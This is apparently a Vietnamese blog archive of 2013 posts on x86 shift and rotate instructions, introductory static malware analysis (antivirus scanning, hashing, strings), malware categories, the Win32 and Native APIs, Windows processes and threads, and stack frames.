Assembly language có các lệnh để di chuyển bits vòng quanh bên trong operands. Shift và rotate instructions, các lệnh này hữu ích khi điều khiển các thiết bị phần cứng, mã hóa dữ liệu, và implementing high-speed graphics. Bài viết này giải thích cách thực hiện shift và rotate operations và làm thế nào để thực hiện các phép tính nhân chia sử dụng shift operations.

Tiếp theo chúng ta sẽ tìm hiểu các lệnh nhân chia đối với số nguyên. Intel phân loại các lệnh theo các phép tính có dấu và không dấu. Sử dụng những lệnh này, chúng tôi show cách làm thế nào để chuyển mathematical expressions từ C++ vào trong assembly language. Compilers chia các expressions phức tạp thành một chuỗi các lệnh máy rời rạc. Nếu bạn học cách translate các phép tính toán trong assembly language , bạn có thể hiểu hơn về cách compilers làm việc, và bạn sẽ có thể optimize assembly language. Bạn sẽ học về cách các luật ưu tiên và register optimization làm việc tại mức độ mã máy.

Các phép tính với các số nguyên có độ dài tùy ý (còn được biết đến như bignums) không được hỗ trợ bởi tất cả các ngôn ngữ bậc cao. Nhưng trong assembly language , bạn có thể sử dụng các lệnh như ADC (add with carry) và SBB (subtract with borrow) để làm việc với các số nguyên với bất kì kích thước nào. Trong loạt bài viết , tôi sẽ còn trình bày các lệnh chuyên biệt để thực hiện các phép tính trên packed decimal integers và integer strings.

Shift and Rotate Instructions

Shifting nghĩa là di chuyển các bit sang bên phải và trái bên trong một operand. Bảng dưới đây là một tập hợp các lệnh mà x86 cung cấp để di chuyển các bits, tất cả ảnh hưởng đến cờ OF và CF.

Logical Shifts and Arithmetic Shifts

Có hai cách để shift các bits của một operand. Thứ nhất, logical shift, lấp vị trí mới được tạo ra với zero. Minh họa dưới đây, một byte được dịch qua phải một vị trí. Hãy nói cách khác, mỗi bit được di chuyển đến vị trí bit thấp hơn tiếp theo. Chú ý rằng bit 7 được gán bằng 0:
Minh họa phía dưới shows một single logical right shift trên một giá trị nhị phân 11001111, kết quả là 01100111. Bit thấp nhất được dịch vào trong cờ CF:

Một kiểu shift khác được gọi là arithmetic shift. Vị trí mới được tạo được lấp với một bản sao của bit dấu của số ban đầu:


Ví dụ binary 11001111, có bit dấu là 1. Khi thực hiện shifted arthimetically 1 bit qua phải, nó trở thành 11100111
SHL Instruction

SHL (shift left) instruction thực hiện một logical left shift trên destination operand, lấp bit thấp nhất với số 0. Bit cao nhất được chuyển vào CF :

Nếu như bạn shift 11001111 sang trái 1 bit , nó trở thành:

Operand đầu tiên trong SHL là destination  và operand thứ 2 là shift count:

SHL    destination, count 

Danh sách dưới đây liệt kê các kiểu operands được cho phép bởi lệnh này:

SHL   reg, imm8
SHL  mem, imm8
SHL  reg, CL
SHL  mem, CL

x86 processors cho phép imm8 là bất kì số nguyên nào trong khoảng từ 0 đến 255. CL register cso thể chứa một shift count. Formats này còn được áp dụng cho SHR, SAL, SAR, ROR, ROL, RCR, và RCL instructions. 

Ví dụ  Trong các lệnh dưới đây , BL được shifted qua trái 1 đơn vị. Bit cao nhất được copy vào trong CF và bit thấp nhất được gán bằng 0. 

mov  bl, 8Fh                              ; BL = 10001111b
shl    bl, 1                                  ; BL = 00011110b, CF = 1

Multiple Shifts  Khi một giá trị được shifted qua trái nhiều lần, CF chứa bit cuối cùng đực shifted ra ngoài MSB. Trong ví dụ dưới đây, CF không giữ giá trị bit 7 mà là bit 6:

mov   al, 10000000b
shl     al, 2                                            ; al = 00000000b, CF =0

Tương tự, khi một giá trị được shifted sang phải nhiều lần, CF chứa bit cuối cùng được shifted ra ngoài LSB. 

Bitwise Multiplication SHL có thể thực hiện phép nhân cho lũy thừa của 2. Shifting bất kì operand sang trái n bits sẽ nhân operand với 2 ^ n. Cho ví dụ, shifting số 5 sang trái 1 bit sẽ cho kết quả là 5 x 2^1 = 10

Nếu binary 00001010 (decimal 10) được dịch sang trái 2 bits, kết quả sẽ giống như việc ta nhân 10 với 2^2:


SHR Instruction

SHR (shift right) instruction thực hiện một logical right shift trên destination operand, thay thế bit cao nhất với 0. Bit thấp nhất được sao chép vào trong CF, và giá trị đang có của CF bị mất đi:

SHR sử dụng cùng các định dạng lệnh như SHL. Trong ví dụ sau, 0 từ bit thấp nhất trong AL được sao chép vào trong AL, và bit cao nhất được lấp bằng zero. 

Multiple Shifts  Trong một phép toán shift nhiều lần, bit cuối cùng được shifted ngoài LSB là giá trị trong CF:

Bitwise Division   Logically shifting một unsigned integer sang phải n bits chia operand đi lũy thừa của 2. Trong statements sau, chúng ta chia 32 cho 2^1, kết quả là 16:

Trong ví dụ sau , 64 chia cho 2^3:
Phép chia các số có dấu thông qua shifting được thực hiện bằng cách sử dụng SAR instruction bởi vì nó bảo vệ bit dấu của số. 

SAL và SAR Instructions

SAL (shift arithmetic left) instruction hoạt động giống như lệnh SHL. Đối với mỗi shift count, SAL shifts mỗi bit trong destination operand sang vị trí cao nằm bên cạnh. Bit được thấp nhất được gán bằng 0. Bit cao nhất được chuyển đến CF, bit nằm trong CF bị bỏ đi:

Nếu bạn shift binary 11001111 sang trái 1 bit, nó trở thành 10011110:
SAR (shift arthimetic right) instruction thực hiện một right arithmetic shift trên destination của nó:

Operands của SAL và SAR giống như opearands của SHL và SHR. Shift có thể được lặp lại, dựa trên counter trong operand thứ 2:

SAR   destination, count

Ví dụ sau đây show cách SAR duplicates bit dấu. AL là một giá trị âm trước và sau khi nó được shifted qua phải:


Signed Division Bạn có thể chia một signed operand cho lũy thừa của 2 , sử dụng SAR instruction. Trong ví dụ sau, -128 chia cho 2^3. Kết quả là -16:

Sign-Exten AX into EAX  Giả sử AX chứa một giá trị nguyên có dấu và bạn muốn extend dấu của nó trong EAX. Thứ nhất, thứ nhất shift EAX sang trái 16 bits, sau đó shift arithmetically sang phải 16 bits.

Các kĩ thuật phân tích tĩnh malware

Việc học các kĩ thuật phân tích tĩnh là cần thiết khi mới chập chững bước vào nghề này. Phân tích tĩnh mô tả quá trình phân tích code hoặc là cấu trúc của một chương trình để xác định chức năng của nó. Chương trình bản thân nó không run khi ta phân tích tĩnh. Chúng ta run chương trình khi thực hiện các kĩ thuật phân tích động.

Bài viết này đề cập nhiều cách để lấy được những thông tin hữu ích từ excutables. Cụ thể chúng ta thảo luận về các kĩ thuật sau:

  • Sử dụng antivirus tools để xác minh tính độc hại
  • Sử dụng hashes để nhận dạng malware
  • Thu thập thông tin từ file's strings, functions, và headers
Mỗi kĩ thuật có thể cung cấp những thông tin khác nhau, và việc sử dụng những công cụ nào còn tùy thuộc vào những thông tin bạn muốn có được. Thông thường, chúng ta sẽ sử dụng một vài kĩ thuật để thu thập thông tin nhiều nhất có thể. 

Antivirus Scanning: Bước khởi đầu

Khi bạn nghi vấn một file nào đó là malware, bạn bắt đầu phân tích malware đó, đầu tiên bạn nên run nó qua nhiều antivirus programs, vì biết đâu đó một trong những av này đã nhận dạng được malware đó rồi. Nhưng antivirus tools thì không được hoàn hảo cho lắm. Chúng chủ yếu dựa trên một cơ sở dữ liệu chứa những chữ kí (signatures) được tạo ra cho malware mà đã được nhận dạng, một số AV có thể sử dụng cách nhận dạng theo hướng hành vi. Một vấn đề phát sinh đó là malware writers có thể dễ dàng chỉnh sửa code của họ, do đó làm thay đổi đi chữ kí của chương trình và qua mặt virus scanners. Còn nữa, những malware hiếm gặp không bị nhận dạng bởi antivirus software bởi vì đơn giản là nó không có trong cơ sở dữ liệu. Cuối cùng, heuristics, mặc dù có thể nhận dạng được những mã độc chưa được biết đến, vẫn có thể bị qua mặt bởi các loại malware mới hiện nay. 

Bởi vì rất nhiều loại virus hiện nay sử dụng các chữ kí và heuristics khác nhau, chúng ta có thể run một vài antivirus programs để quét qua cùng một mẫu virus. Websites như VirusTotal (virustotal.com) cho phép bạn uppload một file để quét dưới nhiều antivirus engines. VirusTotal sinh ra một bản báo cáo cho ta biết rằng có bao nhiêu AV nhận dạng file như là mã độc, tên malware, và có thể là thông tin về malware đó. 

Hashing: một dấu vân tay cho malware 

Hashing là một phương pháp được dùng để nhận dạng malware một cách duy nhất. Malicious software được run thông qua một chương trình hashing, chương trình này sinh ra một hash duy nhất dùng để nhận dạng malware (một kiểu của dấu vân tay). Message-Digest Algorithm 5 (MD5) hash function là được một cách được sử dụng cho malware analysis, mặc dù Secure Hash Algorithm 1 (SHA-1) cũng rất phổ biến. 

Cho ví dụ, việc sử dụng một chương trình có sẵn như md5deep để tính toán hash của Solitaire program (trên Windows) có thể sinh ra output như sau:


C:\>md5deep c:\WINDOWS\system32\sol.exe
373e7a863a1a345c60edb9e20ec3231 c:\WINDOWS\system32\sol.exe

Hash là 373e7a863a1a345c60edb9e20ec3231.

Có một phiên bản hỗ trợ GUI đó là WinMD5

Vậy ta khi ta có được hash của một file ta thực hiện các bước sau:
  • Sử dụng hash như là một nhãn (lable).
  • Chia sẻ hash với các nhà phân tích khác để giúp họ nhận dạng malware.
  • Tìm kiếm giá trị hash đó trên mạng nếu file đã được nhận dạng.

Finding Strings

Một string trong một chương trình là một chuỗi các kí tự ví dụ như "the.". Một chương trình chứa strings nếu nó in ra một message, kết nối đến một URL, hoặc sao chép một file đến một vị trí xác định nào đó. 

Searching qua strings có thể là một cách đơn giản để có được những gợi ý về chức năng của một chương trình. Cho ví dụ, nếu một chương trình truy nhập vào một URL, khi đó bạn sẽ nhìn thấy URL được truy nhập như là một string trong chương trình. Bạn có thể sử dụng Strings program (http://bit.ly/ic4plL) để search các strings xuất hiện trong một executable, các strings có thể được lưu trong dạng ASCII hoặc Unicode. 

Cả ASCII và Unicode formats lưu các kí tự trong một chuỗi kết thúc bằng kí tự NULL để ám chỉ rằng string kết thúc. ASCII sử dụng 1 byte cho 1 kí tự, và Unicode sử dụng 2 bytes cho 1 kí tự.

Figure 2-2 shows string BAD được lưu như ASCII. ASCII string được lưu như các bytes 0x42, 0x41, 0x44, và 0x00, trong đó 0x42 là biểu diễn ASCII của chữ in hoa B, 0x41 biểu diễn cho A, và tương tự. 0x00 ở cuối cùng là NULL terminator.


Figure 2-3 shows string BAD được lưu như Unicode
Khi Strings searches một excutable để tìm ASCII và Unicode strings, nó lờ đi context và formatting vì vậy nó có thể phân tích bất cứ kiểu file nào và phát hiện strings trong toàn bộ file. 

Luật chơi chung trong phân tích malware

Thứ nhất : Đừng đi qua sâu vào các chi tiết. Hầu hết malware programs thường lớn và phức tạp, và bạn không thể nào hiểu được mọi chi tiết. Thay vào đó hãy tập trung vào các đặc tính "khóa" . Khi bạn đi vào những phần khó và phức tạp, cố gắng để có được một cái nhìn toàn cảnh trước khi bạn bị mắc kẹt trong những đám cỏ dại.

Thứ hai, nhớ rằng các công cụ và các cách tiếp cận khác nhau được dành cho các công việc khác nhau. Không phải chỉ có một cách tiếp cận. Mọi hoàn cảnh là khác nhau, và các công cụ và các kĩ thuật khác nhau bạn sẽ học sẽ tương tự và thỉnh thoảng là "đè " lên nhau, ví dụ công cụ A có thể thực hiện chức năng của công cụ B. Nếu bạn không may mắn với công cụ này, hãy thử công cụ khác. Nếu bạn mắc kẹt quá lâu trong một vấn đề; hãy chuyển qua một thứ nào đó khác đi. Thử phân tích malware với nhiều góc nhìn khác hoặc nhiều cách tiếp cận khác.

Cuối cùng, nhớ rằng việc phân tích malware giống như ta đang chơi trò mèo vờn chuột. Khi các kĩ thuật phân tích mới được phát triển, malware authors cũng tạo ra các kĩ thuật mới để cản trở việc phân tích. Để trở thành một nhà phân tích malware thành công, bạn phải có thể nhận dạng , hiểu, và chống lại các kĩ thuật của người viết malware, và respond đối với các thay đổi.

Thứ Năm, 1 tháng 8, 2013

Các kiểu malware

Khi thực hiện phân tích malware, bạn có thể đẩy nhanh tốc độ phân tích của mình thông qua việc phỏng đoán malware đang cố gắng làm gì và sau đó xác minh được những giả thiết của mình. Dĩ nhiên, bạn sẽ có thể có được những suy đoán tốt hơn nếu bạn biết được những thứ mà malware thường làm. Sau đây là một vài dạng malware chúng ta thường gặp:

  • Backdoor. Malicious code cài đặt chính nó lên một máy tính để cho phép attacker truy nhập. Backdoors thường để cho attacker kết nối đến máy tính với rất ít hoặc là không cần phải xác thực và thực thi command trên local system. 
  • Botnet. tương tự như backdoor, nó cho phép attacker thâm nhập vào hệ thống, nhưng tất cả các máy bị lây nhiễm với cùng một botnet sẽ nhận các lệnh giống nhau từ một command-and-control server. 
  • Downloader. Malicious code tồn tại chỉ để download malicious code khác. Downloaders thường được cài đặt bởi attackers khi họ thâm nhập vào hệ thống lần đầu tiên. Downloader program sẽ download và cài đặt thêm malicious code. 
  • Information-stealing malware. Malware thường thu thập thông tin từ máy victim và gửi nó về cho attacker. Ví dụ như là sniffers, password hash grabbers, và keyloggers. Kiểu malware này thường được sử dụng để ăn trộm các thông tin riêng tư quan trọng như là tài khoản ngân hàng và địa chỉ email.
  • Launcher. Malicious program được sử dụng để launch malicious programs khác. Thường thường, launchers sử dụng các kĩ thuật không chính thống để launch malicious programs khác để truy nhập vào hệ thống một cách âm thầm lặng lẽ. 
  • Rootkit. Malicious code được thiết kế để che dấu sự tồn tại của code khác. Rootkits thường đi cặp với malware khác, ví dụ như backdoor, để cho phép truy nhập từ xa và code cũng khó bị phát hiện trên máy victim. 
  • Scareware. Malware được thiết kế để dọa user bị lây nhiễm để họ mua một thứ gì đó. Nó thường có một giao diện người dùng trông giống như một chương trình antivirus hoặc chương trình bao mật nào đó. Nó nhắc nhở users rằng có malicious code trên hệ thống của họ và các duy nhất để khắc phục sự cố đó là mua sản phầm phần mềm mà chúng sản xuất, khi thỏa thuận mua bán đã xong, atttacker chỉ cần remove scareware chứ không làm gì cả và chúng ta mất tiền oan.
  • Spam-sending malware. Malware này lây nhiễm lên máy users và sử dụng máy này để gửi spam. Kiểu malware này cũng được chuộng bởi vì nó cho phép malware author bán đi các dịch vụ gửi spam kiếm lời. 
  • Worm or virus. Malicious code có thể nhân bản chính nó và lây nhiễm rộng ra các máy tính khác. 
Malware có thể sử dụng nhiều tính năng chứ không chỉ giới hạn trong một dạng. Cho ví dụ, một chương trình có thể một keylogger để lấy passwords và một thành phần là worm để gửi spam. 

Malware có thể được phân loại dựa trên đối tượng của attacker đó là đại trà hay là một mục tiêu. Mass malware, ví dụ như scareware, được thiết kế để lây nhiễm càng nhiều máy càng tốt. Trong 2 đối tượng, nó là phổ biến, và nó thường không phức tạp cho lắm và có thể dễ dàng phát hiện và vô hiệu hóa bởi vì nó là mục tiêu của các phần mềm bảo mật.

Targeted malware, giống như backdoor, phù hợp để tấn công một tổ chức. Targeted malware thường là mối đe dọa lớn hơn mass malware, bởi vì nó không được lan đi rộng và các sản phầm bảo mật có thể sẽ không bảo vệ được bạn khỏi nó. Nếu có một phân tích chi tiết đối với targeted malware, gần như là không thể bảo vệ mạng của bạn khỏi malware và loại bỏ infections. 

Thứ Tư, 31 tháng 7, 2013

Application Programming Interfaces

Một application programming interface (API) là một tập hợp functions mà hệ điều hành tạo sẵn cho các chương trình ứng dụng. Nếu bạn muốn reverse dưới windows, điều bắt buộc là bạn phải bồi dưỡng cho mình kiến thức vững vàng về Windows API và các phương thức phổ biến để làm một vài thứ sử dụng APIs.

The Win32 API

Tôi đảm bảo một điều rằng bạn đã được nghe về Win32 API. Win32 là một tập hợp rất lớn các hàm mà tạo nên giao diện chính thức cấp thấp  cho Windows applications. Ban đầu khi Windows được giới thiệu, một số lượng lớn chương trình thực sự được phát triển sử dụng Win32 API, dần dần Microsoft giới thiệu các giao diện đơn giản, cấp cao hơn mà có thể thực hiện hầu hết các đặc tính được cung cấp bởi Win32 API. Một trong những interfaces phổ biến đó là MFC (Microsoft Foundation Classes), đó là một hệ thống cấp bậc của C objects mà có thể được sử dụng cho việc giao tiếp với Windows. Ban đầu, MFC sử dụng Win32 API cho việc gọi vào trong OS. Ngày nay, Microsoft thúc đẩy việc chuyển qua sử dụng .NET Framework cho việc phát triển các ứng dụng Windows. 

.NET framework sử dụng System class cho việc truy nhập các dịch vụ của hệ điều hành, những gì một lần nữa là một interface vào trong Win32 API.

Nguyên nhân cho sự tồn tại của các lớp cao hơn đó là Win32 không thực sự thân thiện với programmer. Nhiều operations yêu cầu việc gọi một chuỗi các hàm, thường yêu cầu khởi tạo các cấu trúc dữ liệu lớn và các cờ. Nhiều programmer đã nhanh chóng trở nên thất vọng khi sử dụng Win32 API. Các lớp cao hơn làm thuận tiện cho việc sử dụng, nhưng chúng cũng gây ảnh hưởng đến hiệu suất, bởi vì mọi lời gọi đến OS phải đi qua các lớp cao. Thỉnh thoảng các lớp cao thường thực hiện rất ít và tại một lúc khác chúng chứa một số lượng code đóng vai trò bắc cầu.

Nếu bạn đang dự định reversing các ứng dụng Windows, một điều quan trọng là bạn phải hiểu Win32 API. Đó là bởi vì bất kể giao diện cấp cao nào mà ứng dụng employ , cuối cùng nó cũng sử dụng Win32 API cho việc giao tiếp với OS. Một vài ứng dụng sẽ sử dụng native API, nhưng điều đó khá hiếm.

Core Win32 API chứa gần 200 APIs (nó phụ thuộc vào phiên bản của windows và có hay không undocumented Win32 APIs). Các APIs được chia thành 3 loại: Kernel, USER, GDI.
Figure 3.3 shows mối quan hệ giữa Win32 interface DLLs, NTDLL.DLL, và kernel components.


Những thứ được liệt kê dưới đây là các thành phần quan trọng của Win32 API:

  • Kernel APIs (còn được gọi BASE APIs) được implemented trong KERNEL.DLL module và bao gồm tất cả các dịch dụ không liên quan đến GUI, ví dụ như là file I/O, memory management, process and thread management, ... KERNEL32.DLL thường gọi native APIs thấp hơn từ NTDLL.DLL để implement các dịch vụ khác nhau. Kernel APIs được sử dụng để tạo và làm việc với kernel-level objects ví dụ như files, synchronization objects, ... tất cả được implemted trong system's object manager. 
  • GDI APIs được implemented trong GDI32.DLL và bao gồm các dịch vụ đồ họa cấp thấp ví dụ như vẽ một đường thẳng, hiển thị một bitmap, ... GDI nói chung không được biết về sự tồn tại của windows và controls. GDI APIs được implemented chủ yếu trong kernel, bên trong WIN32K.SYS module. GDI APIs tạo ra system calls tới WIN32K.SYS để implement hầu hết APIs. GDI xoay quanh GDI objects được sử dụng cho drawing objects, ví dụ như device contexts, brushes, pens, ... Những đối tượng này không bị quản lý bởi kernel's object manager. 
  • USER APIs được implemented trong USER32.DLL module và bao gồm tất cả các dịch vụ cấp cao liên quan đến GUI ví dụ như window-management, menus, dialog boxes, user-interface controls,... Tất cả GUI objects được vẽ bởi USER sử dụng GDI calls để thực hiện các hành động vẽ thực sự; USER phụ thuộc chặt chẽ vào GDI để thực hiện công việc của nó. USER APIs xoay quanh các đối tượng liên quan đến user-interface như là windows, menus, những thứ giống như vậy. Các đối tượng này không bị quản lý bởi kernel's object manager. 
The Native API 

Native API là interface thực sự với Windows NT system. Trong Windows NT Win32 API chỉ là một lớp nằm phía trên native API. Bởi vì NT kernel không có gì phải làm với GUI, native API không bao gồm bất cứ dịch vụ liên quan đến đồ họa nào. Native API là direct interface tới Windows kernel, cung cấp interfaces cho việc giao tiếp trực tiếp với memory manager, I/O system, object manager, processes và threads, ...

Các chương trình ứng dụng không bao giờ phải gọi trực tiếp tới native API - có thể phá vỡ tính tương thích của ứng dụng đó trong Window9x. Đó là một trong những lý do tại sao Microsoft không bao giờ document nó; các chương trình ứng dụng được mong đợi chỉ sử dụng Win32 APIs cho việc giao tiếp với hệ thống. Ngoài ra, bởi việc không làm lộ ra native API giữ lại sự tự do để thay đổi và revise nó mà không ảnh hưởng đến Win32 applications. 

Thỉnh thoảng việc gọi hoặc đơn thuần là hiểu một native API là quan trọng, trong những trường hợp có thể reverse implementation của nó để hiểu mục đích thực sự của nó. 

Về mặt kĩ thuật, native API là một tập hợp các hàm được exported từ cả NTDLL.DLL (cho user-mode callers) và từ NTOSKRNL.EXE (cho kernel-mode callers). APIs trong native API luôn luôn bắt đầu một trong 2 prefixes: hoặc là Nt hoặc là Zw , vì vậy các hàm có tên giống như NtCreateFile hoặc ZwCreateFile.

 

Thứ Hai, 29 tháng 7, 2013

Processes and Threads

Processes và threads cả hai là đều là các đơn vị cấu trúc cơ bản trong Windows, chúng ta phải hiểu được chính xác chúng biểu diễn những gì. Bài viết này mô tả các khái niệm cơ bản về processes và threads và thảo luận về các chi tiết như việc chúng được implemented trong Windows như thế nào.

Processes

Một process là một khối xây dựng cơ bản (a fundamental building block) trong Windows. Một process là rất nhiều thứ, nhưng chủ yếu nó là một không gian địa chỉ bộ nhớ được biệt lập. Không gian địa chỉ này có thể sử dụng để running một chương trình, và các không gian địa chỉ được tạo ra cho mọi chương trình để chắc chắn rằng mỗi chương trình runs trong không gian địa chỉ của riêng nó. Bên trong không gian địa chỉ của một process hệ thống có thể nạp code modules, nhưng để thực sự run một chương trình, một process phải có ít nhất một thread running.

Threads

Một thread là một đơn vị thực thi code nguyên thủy (a primitive code excution unit). Tại bất kì một thời điểm cho trước, mỗi processor trong hệ thống đang running một thread, những gì có nghĩa là nó chỉ đang running một đoạn code; nó có thể code của chương trình hoặc OS code, không có vấn đề gì cả. Ý tưởng về threads đó là thay vì tiếp tục run một đoạn code cho khi nó kết thúc, Windows có thể quyết định ngắt một running thread tại bất cứ thời điểm nào và chuyển qua thread khác. Quá trình đó là trái tim trong khả năng của Windows nhằm đạt tới sự đồng thời.

Có thể dễ để hiểu threads là gì nếu bạn suy nghĩ về cách chúng được implemented bởi hệ thống. Về cốt lõi, một thread chỉ là một cấu trúc dữ liệu mà có CONTEXT data structure nói cho hệ thống về trạng thái của processor khi thread chạy lần cuối cùng. Khi bạn nghĩ về nó, một thread giống như là một little virtual processor mà có context riêng của nó và có stack riêng. Physical processor switches giữa nhiều virutal processors và thường xuyên bắt đầu thực thi từ thread's current context information và sử dụng stack của thread.

Lý do của việc một thread có thể có 2 stacks đó là trong Windows threads được luân phiên giữa running user-mode code và kernel-mode code. Cho ví dụ, một thread ứng dụng thông thường runs trong user mode, nhưng nó có thể gọi các system APIs được implemented trong kernel code. Trong các trường hợp như vậy system API code runs trong kernel mode từ bên trong calling thread. Bởi vì thread có thể run trong cả user mode và kernel mode nó phải có 2 stacks: một dành cho khi running trong user mode và một để khi nó running trong kernel mode. Việc tách biệt stack là một yêu cầu bảo mật và mạnh mẽ cơ bản. Nếu user-mode code có quyền truy nhập đến kernel stacks hệ thống có thể bị lỗ hổng đến các cuộc tấn công và nó có thể bị compromised bởi application bugs mà có thể ghi đề lên các phần của kernel stack.

Các thành phần quản lý threads trong Windows là scheduler và dispatcher, 2 thành phần này cùng vơi nhau chịu trách nhiệm cho việc quyết định những thread nào được chạy cho bao lâu, và cho việc thực hiện context switching khi gặp thời điểm nó muốn thay đổi running thread hiện hành.

Một khía cạnh đáng chú ý của kiến trúc Windows đó là kernel là preemtive interruptible , nghĩa là một thread có thể thường xuyên bị ngắt khi running trong kernel mode như là nó có thể bị ngắt trong khi running trong user mode. Cho ví dụ, hầu như mọi Win32 API là có thể bị ngắt, như là hầu hết các internal kernel components. Cũng không phải ngạc nhiên, có một vài components hoặc code areas là không thể bị ngắt (bạn nghĩ điều gì sẽ xảy ra nếu chính scheduler bị ngắt...), nhưng chúng thường chỉ là các đoạn code  rất ngắn.

Context Switching

Chúng ta thường rất khó để hình dung được quá trình mà multithreaded kernel đạt được sự đồng thời với multiple threads, nhưng nó thực sự khá đơn giản. Bước thứ nhất cho kernel là để một thread run. Nó có ý nghĩa là để nạp context của nó (điều đó có nghĩa là entering một không gian địa chỉ bộ nhớ hợp lệ và khởi tạo các giá trị của tất cả các thanh ghi CPU) và để nó bắt đầu running. Thread sau đó runs bình thường trên processor (kernel sẽ không làm bất cứ thứ gì đặc biệt tại điểm này), cho đến thời điểm để chuyển qua một thread mới. Trước khi chúng ta thảo luận về quy trình thực sự của switching contexts, hãy nói về làm thế nào và tại sao một thread bị ngắt.

Sự thực rằng threads hay "từ bỏ" CPU theo ý muốn của nó, và kernel thậm chí không phải thực sự ngắt chúng. Điều đó xảy ra bất cứ khi nào một chương trình đang chờ cho một thứ gì đó. Trong Windows một trong những ví dụ phổ biến nhất đó là khi một chương trình gọi GetMessage Win32 API. GetMessage được gọi tại mọi thời điểm - nó là cách các ứng dụng yêu cầu hệ thống nếu user sinh ra bất cứ new input events (ví dụ như nhấp chuột hoặc gõ bàn phím) . Trong hầu hết các trường hợp, GetMessage truy nhập một message queue và chỉ extracts sự kiện tiếp theo, nhưng trong một vài trường hợp không có bất cứ messages trong queue. Trong những trường hợp như vậy, GetMessage chỉ enter vào waiting mode và không return cho đến khi new user input trở nên available.  

Objects and Handles

Windows kernel quản lý objects sử dụng một thành phần quản lý đối tượng trung tâm (a centralized object manager component). Object manager chịu trách nhiệm cho tất cả kernel objects ví dụ như sections, file, và device objects, synchronization objects, processes, và threads. Điều quan trọng để hiểu đó là thành phần này (object manager) chỉ quản lý các đối tượng liên quan đến kernel. Các đối tượng liên quan đến GUI ví dụ như windows, menus, và device contexts được quản lý bởi các object managers riêng biệt mà được implemented bên trong WIN32K.SYS

Viewing objects từ user mode, như hầu hết các ứng dụng vẫn làm, làm cho ta thấy chúng có cái gì đó hơi huyền bí. Điều quan trọng là phải hiểu rằng bản chất nằm phía ẩn sau tất cả các objects chỉ đơn thuần là các cấu trúc dữ liệu -- chúng thường được lưu trong nonpaged pool kernel memory. Tất cả objects sử dụng một standard object header, header này được sử dụng để mô tả các đặc tính cơ bản của đối tượng đó ví dụ như kiểu của đối tượng, reference count, name,... Object manager không biết gì về bất cứ các cấu trúc dữ liệu riêng biệt nào, nó chỉ biết header chung.

Kernel code thường truy nhập objects qua việc sử dụng direct pointers trỏ đến object data structures, nhưng các chương trình ứng dụng rõ ràng không làm như vậy. Thay vào đó, applications sử dụng handles để truy nhập từng đối tượng. Một handle là một process numeric identifier, cơ bản nó là một chỉ số (index) bên trong process's private handle table. Mỗi entry trong handle table chứa một con trỏ trỏ đến đối tượng phía dưới, đó là cách hệ thống liên kết handles với objects. Cùng với object pointer, mỗi handle entry còn chứa access mask dùng để xác định kiểu operations nào có thể thực hiện được trên đối tượng sử dụng handle đó.

Access mask của đối tượng là một số nguyên 32-bit được chia thành 2 16-bit access flag words. Upper word chứa generic access flags như là GENERIC_READ và  GENERIC_WRITE . Lower word chứa object specific flags như là PROCESS_TERMINATE , những gì cho phép bạn kết thúc một process sử dụng handle của nó, hoặc KEY_ENUMERATE _SUB_KEYS , những gì cho phép bạn liệt kê các subkeys của một open registry key. Tất cả access rights constants được định nghĩa trong WinNT.h trong Microsoft Platform SDK.

Đối với mọi object, kernel duy trì 2 reference counts: a kernel reference count và a handle count. Objects chỉ được xóa đi mỗi khi chúng có zero kernel references và zero handles.

Named objects

Một vài kernel objects có thể được đặt tên, những gì hỗ trợ một cách để nhận dạng chúng một cách duy nhất trong toàn hệ thống. Giả sử rằng, ví dụ, 2 processes đồng bộ một số operation giữa chúng. Một cách tiếp cận tiêu biểu đó là sử dụng một mutex object, nhưng làm thế nào chúng biết được chúng đang xử lý chung mutex? Kernel supports object names với ý nghĩa là nhận dạng từng objects. Trong ví dụ của chúng ta cả 2 processes có thể thử tạo một mutex có tên là MyMutex. Bất cứ ai mà thực sự tạo đối tượng MyMutex đầu tiên, chương trình thứ 2 sẽ chỉ mở một new handle đến object. Điều quan trọng là sử dụng một common name đảm bảo rằng cả 2 processes đang xử lý cùng một đối tượng. Khi một API tạo một đối tượng ví dụ như CreateMutex được gọi cho một đối tượng đã tồn tại, kernel tự động xác định đối tượng đó trong global table và return một handle đến nó.

Named objects được sắp xếp trong hierarchical directories, nhưng Win32 API giới hạn các ứng dụng user-mode truy nhập đến các thư mục này. Dưới đây là những thư mục quan trọng:

BaseNamedObjects  thư mục này là nơi tất cả conventional Win32 named objects, ví dụ như mutexes, được lưu. Tất cả named-object Win32 APIs tự động sử dụng thư mục này -- các chương trình ứng dụng không có quyền điều khiển trong thư mục này.

Devices Thư mục này chức device objects cho tất cả các active system devices hiện hành. Nói chung mỗi device driver đều có ít nhất một entry trong thư mục này, thậm chí những driver này không được kết nối đến bất cứ thiết bị vật lý nào. Nó bao gồm logical devices như là Tcp , và physical devices như Harddisk0 . Win32 APIs có thể không bao giờ access trực tiếp trong thư mục này - họ sử dụng symbolic links. 

GLOBAL ?? Thư mục này là một symbolic link. Symbolic links là old-style names cho kernel objects. Old-style naming là cơ chế đặt tên theo DOS. Nghĩ về việc gán cho mỗi drive một letter, ví dụ C:, và về việc truy nhập physical devices sử dụng một 8-letter name kết thúc với một colon, ví dụ COM1: Những thứ mới kể đó là DOS names, và trong modern versions của Windows chúng được linked đến các thiết bị thực trong Devices directive sử dụng symbolic links. Win32 applications chỉ có thể access devices sử dụng symbolic link names của họ.

Một vài kernel objects không được đặt tên và chỉ được nhận dạng bởi các handles của chúng hoặc kernel object pointers. Một ví dụ điển hình cho đối tượng loại này là thread object , những gì được tạo mà không cần đến tên và chỉ được biểu diễn bởi handles (từ usermode) hoặc bởi direct pointer trong object (từ kernel mode).

Thứ Sáu, 26 tháng 7, 2013

Stack Frames

Trong bài viết này tôi sẽ trình bày cách thức subroutines có thể khai báo parameters mà đã được định vị trí trong runtime stack.

Stack frame là một vùng của stack được thiết lập dành cho arguments được đưa vào, subroutine return address, local variables, và saved registers. Stack frame được tạo ra là kết quả của thứ tự các bước sau:

  • Passed arguments, nếu có, được pushed vào stack.
  • Subroutine được gọi, địa chỉ trả về của subroutine được pushed vào stack.
  • Khi subroutin bắt đầu thực thi, EBP được pushed vào stack.
  • EBP được set bằng với ESP. Từ đây, EBP giống như một tham chiếu cơ bản (base reference ) cho tất cả subroutine parameters. 
  • Nếu có local variables, ESP được giảm đi để dự trữ không gian cho các biến trên stack. 
  • Nếu bất cứ thanh ghi nào cần được saved, chúng được pushed vào stack. 
Cấu trúc của một một stack frame bị tác động trực tiếp bởi mô hình bộ nhớ của một chương trình và phụ thuộc vào quy ước passing argument. 

